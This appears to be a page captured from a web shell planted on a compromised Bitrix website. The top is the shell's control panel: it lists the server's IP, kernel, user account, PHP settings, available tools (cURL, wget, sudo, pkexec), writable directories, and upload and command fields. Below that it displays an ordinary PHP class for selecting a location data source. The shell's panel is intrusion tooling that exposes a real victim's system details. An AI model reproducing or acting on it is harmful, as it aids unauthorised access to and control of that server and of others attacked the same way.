403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/source/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/source/sourceselector.php
<?php

namespace Bitrix\Location\Source;

use Bitrix\Location\Entity\Source\Factory;
use Bitrix\Location\Entity\Source\OrmConverter;
use Bitrix\Location\Infrastructure\SourceCodePicker;
use Bitrix\Location\Repository\SourceRepository;
use Bitrix\Location\Source\Google;
use Bitrix\Location\Source\Osm;
use Bitrix\Main\Result;

class SourceSelector
{
	protected $sourceRepository;

	public function __construct(SourceRepository $sourceRepository = null)
	{
		$this->sourceRepository = $sourceRepository ?: new SourceRepository(new OrmConverter());
	}

	public function setSource(string $sourceCode, IConfigFactory $configFactory): Result
	{
		$result = new Result();

		$source = $this->sourceRepository->findByCode($sourceCode);

		if (!$source)
		{
			$source = Factory::makeSource($sourceCode);
			$source->setName($sourceCode);
		}

		$source->setConfig(
			$configFactory->createConfig()
		);

		$res = $this->sourceRepository->save($source);

		if(!$res->isSuccess())
		{
			$result->addErrors($res->getErrors());
		}

		SourceCodePicker::setSourceCode($sourceCode);

		return $result;
	}

	public static function setGoogleSource(string $frontendKey, string $backendKey): Result
	{
		$sourceSelector = new self();
		$configFactory = new Google\ConfigFactory($frontendKey, $backendKey);
		return $sourceSelector->setSource(Factory::GOOGLE_SOURCE_CODE, $configFactory);
	}

	public static function setOsmSource(string $serviceUrl, string $token): Result
	{
		$sourceSelector = new self();
		$configFactory = new Osm\ConfigFactory($serviceUrl, $token);
		return $sourceSelector->setSource(Factory::OSM_SOURCE_CODE, $configFactory);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit